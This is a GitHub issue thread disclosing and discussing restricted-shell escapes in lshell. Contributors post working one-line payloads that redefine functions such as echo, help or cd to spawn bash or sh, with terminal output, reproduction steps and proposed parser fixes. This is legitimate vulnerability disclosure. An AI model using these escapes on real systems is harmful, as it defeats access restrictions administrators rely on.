Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SECURITY ISSUE: Inappropriate parsing of command syntax #151

Open
Snawoot opened this issue Aug 22, 2016 · 33 comments

Comments

@Snawoot
Copy link

commented Aug 22, 2016

Debian 8 without installed sudo, lshell version e72dfcd:

vladislav@dt1:~$ ssh testuser@192.168.122.219
testuser@192.168.122.219's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Aug 22 13:26:43 2016 from 192.168.122.1
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
testuser:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
testuser:~$ bash
*** forbidden command: bash
testuser:~$ echo () bash && echo
testuser@debian:~$ ps -f
UID        PID  PPID  C STIME TTY          TIME CMD
testuser  2108  2107  0 13:27 pts/1    00:00:00 /usr/bin/python /usr/bin/lshell
testuser  2109  2108  0 13:27 pts/1    00:00:00 /bin/sh -c echo () bash && echo
testuser  2110  2109  0 13:27 pts/1    00:00:00 bash
testuser  2115  2110  0 13:28 pts/1    00:00:00 ps -f
testuser@debian:~$ 

It is insecure to pass any untrusted command to real shell. I suggest, command parsing should be completely rewritten and

proc = subprocess.Popen([cmd], shell=True)
has to be replaced with call passing explicit argument list and shell=False.

All other countermeasures unable to eliminate security problems completely.

@Snawoot Snawoot changed the title SECURITY ISSUE: Inappropriate command syntax parse SECURITY ISSUE: Inappropriate parsing of command syntax Aug 22, 2016

@xlr-8

This comment has been minimized.

Copy link

commented Aug 22, 2016

I believe it refers to this issue: #87 which suggest the same thing, in order to avoid all problems of syntax, interpretation, exit codes, builtins, security, etc.

@Snawoot

This comment has been minimized.

Copy link
Author

commented Aug 23, 2016

Problem elevated and now affects all systems, including systems with installed sudo:

vladislav@dt1:~$ lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
vladislav:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
vladislav:~$ bash
*** forbidden command: bash
vladislav:~$ echo<CTRL+V><CTRL+I>() bash && echo
vladislav@dt1:~$ ps -f
UID        PID  PPID  C STIME TTY          TIME CMD
vladisl+ 19562 17335  0 00:53 pts/15   00:00:00 bash
vladisl+ 20263 19562  0 01:37 pts/15   00:00:00 /usr/bin/python /usr/bin/lshell
vladisl+ 20318 20263  0 01:39 pts/15   00:00:00 /bin/sh -c echo?() bash && LD_PRELOAD=/usr/lib/sudo/sudo_noexec.so echo
vladisl+ 20319 20318  0 01:39 pts/15   00:00:00 bash
vladisl+ 20334 20319  0 01:39 pts/15   00:00:00 ps -f
vladislav@dt1:~$ 
@omega8cc

This comment has been minimized.

Copy link
Contributor

commented Aug 24, 2016

Right, with latest dev version:

o1.ftp:~$ echo<CTRL+V><CTRL+I>() bash && echo
o1.ftp@quad:~$ ps axf
  PID TTY      STAT   TIME COMMAND
28795 pts/4    S+     0:00 login
28838 pts/5    Ss     0:00  \_ /bin/bash -login
 3489 pts/5    S      0:00      \_ su - o1.ftp
 3490 pts/5    S      0:00          \_ /usr/bin/python /usr/bin/lshell
12359 pts/5    S      0:00              \_ /bin/dash -c set -m; echo?() bash && LD_PRELOAD=/usr/lib/sudo/sudo_noexec.so echo
12364 pts/5    S      0:00                  \_ bash
13095 pts/5    R+     0:00                      \_ ps axf
@ghantoos

This comment has been minimized.

Copy link
Owner

commented Aug 24, 2016

I am looking into a new command-line parsing solution.

@ghantoos

This comment has been minimized.

Copy link
Owner

commented Aug 25, 2016

I have committed a patch to detect and forbid control characters. This will give us some time to figure out a better way to parse the command-line. I am currently looking into the shlex Python module. Any help will be much appreciated. :)

@Snawoot

This comment has been minimized.

Copy link
Author

commented Aug 25, 2016

@ghantoos this commit still does not fixes original issue with systems with no sudo_noexec installed.

Real temporary solution for securing users is issuing update which disables this shell. It`ll let you focus on rewritting parser without wasting time on half-measures.

By the way, shlex module is not suitable for strict parsing of shell commands:

>>> shlex.split("echo 123;reboot", posix=True)
['echo', '123;reboot']

I see two options for moving forward:

  • Easy way. Make lshell incompatible with dash/csh syntax and use simple tokenizer for command parsing. Parsed commands with arguments should be passed directly to execve-like call as explicit binary and argument list. In this case any simple parser, including shlex is suitable: execve call with explicit binary specification will run command extracted and verified by parser. Different interpretation by validator and by backend shell is impossible here because commands will be executed directly without passing them to /bin/sh. Note: at current state lshell already not compatible with shell syntax, so you probably are not losing anything.
  • Hard way. Implement full syntax parsing of dash/csh commands with handling of all declarative operations like function redefinition (like in original post in this issue). shlex is not suitable for this task. Due to high complexity of this task it seems simplier to fork original dash/csh/bash and add restrictions in places, where binaries actually run.
@ghantoos

This comment has been minimized.

Copy link
Owner

commented Aug 25, 2016

On Thu, Aug 25, 2016 at 8:04 AM, Vladislav Yarmak
notifications@github.com wrote:

@ghantoos this commit still does not fixes original issue with systems with no sudo_noexec installed.

This is another issue that, IMO, depends directly on the system
administrator. I am not sure I would want to bundle a noexec lib
within lshell and have to maintain it separately from upstream.

Real temporary solution for securing users is issuing update which disables this shell. It`ll let you focus on rewritting parser without wasting time on half-measures.

I am not sure to understand what you mean by "disable this shell"? Is
it the shell=False of Popen? Because I am not sure this will
prevent a user from running bash using control characters like
you mentioned above.

By the way, shlex module is not suitable for strict parsing of shell commands:

shlex.split("echo 123;reboot", posix=True)
['echo', '123;reboot']

Try something like this instead:

import shlex
text = "echo 123;reboot"
lexer = shlex.shlex(text)
print(list(lexer))

Which should give you: ['echo', '123', ';', 'reboot']

I see two options for moving forward:

Easy way. Make lshell incompatible with dash/csh syntax and use simple tokenizer for command parsing. Parsed commands with arguments should be passed directly to execve-like call as explicit binary and argument list. In this case any simple parser, including shlex is suitable: execve call with explicit binary specification will run command extracted and verified by parser. Different interpretation by validator and by backend shell is impossible here because commands will be executed directly without passing them to /bin/sh. Note: at current state lshell already not compatible with shell syntax, so you probably are not losing anything.
Hard way. Implement full syntax parsing of dash/csh commands with handling of all declarative operations like function redefinition (like in original post in this issue). shlex is not suitable for this task. Due to high complexity of this task it seems simplier to fork original dash/csh/bash and add restrictions in places, where binaries actually run.

I will be looking into both options. Thanks! :)

I really appreciate your help on this!

@Snawoot

This comment has been minimized.

Copy link
Author

commented Aug 26, 2016

@ghantoos

This is another issue that, IMO, depends directly on the system
administrator. I am not sure I would want to bundle a noexec lib
within lshell and have to maintain it separately from upstream.

In this issue difference between systems with sudo and systems without sudo is in LD_PRELOAD variable prepended before every command. It is possible to (re)define function, when this variable is not prepended before command line. Also, this variable is not prepended for commands from allowed_shell_escape list.

Please, note:

  • System administrator generally doesn`t minds your application relies on sudo.
  • sudo can be built without noexec library
  • Removing (or not installing) sudo may be deliberate action taken by system administrator for security hardening because sudo has its own bugs and/or system administrator doesnt wants to have in system SUID binary with such privilege escalation mechanism.

This issue is just one of cases where actual command, which being run, can`t be inferred without real interpretation of script. Even correct tokenization is not enough.

Try something like this instead:
import shlex
text = "echo 123;reboot"
lexer = shlex.shlex(text)
print(list(lexer))
Which should give you: ['echo', '123', ';', 'reboot']

Sorry, my bad. But shlex still is not suitable as full-featured shell parser. Having:

>>> list(shlex.shlex('"ec""ho" 123'))
['"ec"', '"ho"', '123']

but this is valid form of command:

vladislav@dt1:~$ "ec""ho" 123
123
@Snawoot

This comment has been minimized.

Copy link
Author

commented Aug 26, 2016

@ghantoos

am not sure to understand what you mean by "disable this shell"?

I mean "issuing update which temporarily makes shell completely unusable." For example: build a package which symlinks /usr/bin/lshell to /usr/sbin/nologin.

Currently opened issues may not cover all methods to breach defence. So, while proven solution does not exists yet, it will be wise to disable lshell via update.

Breaking application operation is lesser evil than supplying vulnerable security solution to end users.

@slonopotamus

This comment has been minimized.

Copy link

commented Aug 26, 2016

For the reference: Shell Grammar

@ghantoos

This comment has been minimized.

Copy link
Owner

commented Sep 19, 2016

Sorry for the delayed reply, real life caught up to me.

On Thu, Aug 25, 2016 at 10:42 PM, Vladislav Yarmak <notifications@github.com

wrote:

@ghantoos https://github.com/ghantoos

am not sure to understand what you mean by "disable this shell"?

I mean "issuing update which temporarily makes shell completely unusable."
For example: build a package which symlinks /usr/bin/lshell to
/usr/sbin/nologin.

Currently opened issues may not cover all methods to breach defence. So,
while proven solution does not exists yet, it will be wise to disable
lshell via update.

In lshell's packaging, there is a strict dependency on sudo. This is a
choice that I have made when working on the LD_PRELOAD feature. I know this
is not the ideal solution, but it is, IMO a lesser evil than not having any
security or any lshell. I have been a sysadmin for a while now, and I take
my responsibilities when allowing users via lshell, and am careful when
configuring it on a client's machine.

Breaking application operation is lesser evil than supplying vulnerable
security solution to end users.

I agree that the parsing should be clearly worked on. However, it seems
that the issues that were brought up are now fixed with the current parsing
methods.

I will keep this issue open until I (or someone from the community) work on
a new lexer/parser as suggested by you and @xlr-8.

Cheers!

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

However, it seems
that the issues that were brought up are now fixed with the current parsing
methods.

It is false.
HOLE

@omega8cc

This comment has been minimized.

Copy link
Contributor

commented Sep 19, 2016

Interesting, although it doesn't work for me -- probably because we are using custom wrapper instead of typical direct symlink to other shell:

o1.ftp:~$ echo () sh && echo
/bin/dash: 1: Syntax error: "(" unexpected
o1.ftp:~$
o1.ftp:~$ exit
demo:~#
demo:~# ll /bin/sh
lrwxrwxrwx 1 root root 10 Sep 17 01:10 /bin/sh -> /bin/websh*
demo:~#
@omega8cc

This comment has been minimized.

Copy link
Contributor

commented Sep 19, 2016

Ah, you mean that it works when sudo is not installed/used, I think.

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

@omega8cc Yes, and lshell doesn`t pulls sudo with it on FreeBSD (for example) because is installed from source.

@ghantoos

This comment has been minimized.

Copy link
Owner

commented Sep 19, 2016

On Mon, Sep 19, 2016 at 7:56 AM, Vladislav Yarmak notifications@github.com
wrote:

@omega8cc https://github.com/omega8cc Yes, and lshell doesn`t pulls
sudo with it on FreeBSD (for example) because is installed from source.

It is not because it is installed from source that it does not pull sudo.
The current version available in the FreeBSD ports is 0.9.16, which does
not have any dependency on sudo.

You will have to see with the lshell maintainer of FreeBSD. This is not an
upstream issue.

@ghantoos

This comment has been minimized.

Copy link
Owner

commented Sep 19, 2016

However, it seems
that the issues that were brought up are now fixed with the current parsing
methods.

This is false.
[image: HOLE]

I am unable to reproduce this with the code from master:

sanfour:(master) ~/src/lshell$ export PYTHONPATH=$PWD/
sanfour:(master) ~/src/lshell$ ./bin/lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
ghantoos:~$ echo () sh && echo
/bin/sh: 1: Syntax error: "(" unexpected

Are you using the port installed lshell or the code from master?

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

@ghantoos Both of them: code from master and lshell port.

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

Actually, on FreeBSD all versions of lshell are vulnerable:

  • lshell from port WITH installed sudo
  • lshell from port WITHOUT installed sudo
  • lshell from git master WITH installed sudo
  • lshell from git master WITHOUT installed sudo

Here is a funny screenshot:
FREEBSD HOLE

This software is still totally broken.

@ghantoos

This comment has been minimized.

Copy link
Owner

commented Sep 19, 2016

May be you could help me find what is making this working on Debian/Linux and not FreeBSD, instead of being stubborn to the point of being unpleasant and counterproductive?

I will try to setup a FreeBSD box to work on this on my end.

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

@ghantoos Sorry, I just not turning a blind eye to the problem. Please, do not take it as incivility.

Now about reproducing this problem:

FreeBSD

No FreeBSD setup is required. I use prebuilt VM images from freebsd.org: i386 / x86_64.

Console login as root without password is available right after import of VM image. Network will be unconfigured, so you have to run dhclient vtnet0 by hand or configure automatic DHCP configuration on boot (assuming ifconfig output shows your virtual NIC name is vtnet0):

echo 'ifconfig_vtnet0="DHCP"' > /etc/rc.conf
reboot

Reproduction script:

pkg install python git
pkg install sudo #optional, sudo presence changes nothing at this moment
git clone https://github.com/ghantoos/lshell.git
cd lshell
cp -v etc/lshell.conf /usr/local/etc
python setup.py install --no-compile --install-data=/usr/{pkg,local}/
lshell
echo () sh && echo

Linux

Install lshell in any environment where noexec.so is unavailable (sudo not installed or sudo built without noexec-preloader so that doesn`t ships it.

Cause of this problem

if 'path_noexec' in self.conf:
# exclude allowed_shell_escape commands from loop
exclude_se = list(set(self.conf['allowed']) -
set(self.conf['allowed_shell_escape']) -
set(variables.builtins_list))
for cmd in exclude_se:
# take already set aliases into consideration
if cmd in self.conf['aliases']:
cmd = self.conf['aliases'][cmd]
# add an alias to all the commands, prepending with LD_PRELOAD=
# except for built-in commands
if cmd not in variables.builtins_list:
self.conf['aliases'][cmd] = 'LD_PRELOAD=%s %s' % (
self.conf['path_noexec'],
cmd)
else:
# if sudo_noexec.so file is not found, write error in log file,
# but don't exit tp prevent strict dependency on sudo noexec lib
self.log.error("Error: noexec library not found")

If noexec library is present, set_noexec() makes aliases for allowed commands. Each of these aliases prepends LD_PRELOAD variable setting. That prefix spoils function definition which I used in this attack vector, but when library is unavailable, function redefenition is possible.

These security issues caused by poor syntax analysis is just the tip of the iceberg. Applying countermeasures to these issues does not guarantees there is no other tricks with shell syntax.

Thanks for reading this.

@ghantoos

This comment has been minimized.

Copy link
Owner

commented Sep 19, 2016

Confirmed. This is due to the noexec library path having changed in FreeBSD (or may be I had simply missed it). A new commit should correct this behavior (at least when sudo is installed).

See PR #160.

@ghantoos

This comment has been minimized.

Copy link
Owner

commented Sep 19, 2016

@Snawoot can you confirm that this works for you (with sudo) ?

git clone https://github.com/ghantoos/lshell.git
cd lshell
git fetch origin
git checkout -b s_freebsd_noexec origin/s_freebsd_noexec
export PYTHONPATH=$PWD/
./bin/lshell --config etc/lshell.conf

(this way you don't need to actually install anything on your OS)

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

@ghantoos confirmed on FreeBSD 10.3 with sudo installed

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

@ghantoos Can you add defenition of some variable before any command in order to prevent function definition? Something like SHELL=/usr/bin/lshell <cmd> in case if noexec library not found. This hack shall break definition of functions in restricted shell.

@Snawoot

This comment has been minimized.

Copy link
Author

commented Sep 19, 2016

@ghantoos I found attack vector suitable for all systems with or without sudo:

Querying help before escape is important for reproduction!

Debian

vladislav@dt1:~/lshell$ lshell
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
vladislav:~$ ?
cd  clear  echo  exit  help  history  ll  lpath  ls  lsudo
vladislav:~$ echo FREEDOM! && help () sh && help
FREEDOM!
$ which sudo
/usr/bin/sudo

FreeBSD

BREACH

@omega8cc

This comment has been minimized.

Copy link
Contributor

commented Sep 19, 2016

Confirmed :/ Although I had to use bash and not sh, due to our sh wrapper:

o1.ftp:~$ ?
[cut]
o1.ftp:~$ echo FREEDOM! && help () sh && help
FREEDOM!
o1.ftp:~$ w
*** forbidden command -> "w"
*** You have 1 warning(s) left, before getting logged out.
This incident has been reported.
o1.ftp:~$ echo FREEDOM! && help () bash && help
FREEDOM!
o1.ftp@demo:~$ ps
  PID TTY          TIME CMD
16296 pts/4    00:00:00 dash
16303 pts/4    00:00:00 bash
18333 pts/4    00:00:00 ps
20808 pts/4    00:00:00 lshell
o1.ftp@demo:~$
@ghantoos

This comment has been minimized.

Copy link
Owner

commented Sep 19, 2016

This is the never ending thread :)

Thank you @Snawoot for taking the time to look into all these issues. I will try to take a look at this during the week. If anyone has a hint, please share. :)

@Dam23

This comment has been minimized.

Copy link

commented Jan 11, 2017

Heya,

Following up on this on FreeBSD, do you still have the problem ?
I cannot reproduce here with the latest git sources :

With control chars :
root:~$ echo<ctrl-v><ctrl-i>() sh && echo *** forbidden control char: echo () sh && echo

Without control chars :
root:~$ echo () sh && echo Syntax error: "(" unexpected

I can reproduce, without even using control characters, on 0.9.16_2 from the ports.

@miihael

This comment has been minimized.

Copy link

commented May 24, 2017

I also can reproduce that on the latest master brach.
The trick is, that the hack is usable only after you run "?" command in the shell.

sesupport@server1:~$ ps auxf
*** forbidden command: ps
sesupport@server1:~$ echo FREEDOM! && help () sh && help
*** forbidden command: help
sesupport@server1:~$ ?
awk  clamscan  dig   grep  history   lpath  man   telnet      uptime
cat  clear     echo  head  hostname  ls     ping  tracepath   zcat  
cd   cut       exit  help  ll        lsudo  tail  traceroute  zgrep 
sesupport@server1:~$ echo FREEDOM! && help () sh && help
FREEDOM!
$ ps auxf
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         2  0.0  0.0      0     0 ?        S    May18   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    May18   0:11  \_ [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<   May18   0:00  \_ [kworker/0:0H]
root         8  0.0  0.0      0     0 ?        S    May18   4:28  \_ [rcu_sched]

sesupport user has /usr/bin/lshell as a shell.

@omega8cc

This comment has been minimized.

Copy link
Contributor

commented May 24, 2017

It is even worse, and no extra tricks required at all, with cd used instead:

o1.ftp:~$ echo FREEDOM! && cd () bash && cd
FREEDOM!
o1.ftp@quad:~$ w
 07:24:43 up 49 days, 19:05,  0 users,  load average: 1.50, 1.33, 1.55
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
o1.ftp@quad:~$ ps
  PID TTY          TIME CMD
 1318 pts/2    00:00:00 lshell
 1701 pts/2    00:00:00 dash
 1722 pts/2    00:00:00 bash
 2250 pts/2    00:00:00 ps
o1.ftp@quad:~$ whoami
o1.ftp
o1.ftp@quad:~$ id
uid=999(o1.ftp) gid=100(users) groups=100(users),33(www-data),111(lshellg)
o1.ftp@quad:~$
@ghost

This comment has been minimized.

Copy link

commented Jun 19, 2017

Hi, I can confirm the issue with lshell-0.9.16 on Debian Jessie, although I was not able to escape without having cd in the allowed-cmd's yet. The underlying issue looks more of a design-/conceptual-flaw with command parsing rather than an issue limited to certain cmds. Too bad that cd will probably be required in most use-cases together with lshell, which makes it pretty vulnerable.

@omega8cc

This comment has been minimized.

Copy link
Contributor

commented Jan 19, 2019

You can't really add cd to forbidden without making the shell useless, but you should add && perhaps? It will break chained commands, but at least it will block the escape attempts too. It should be forbidden by default and documented until better fix is available.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
7 participants
You can’t perform that action at this time.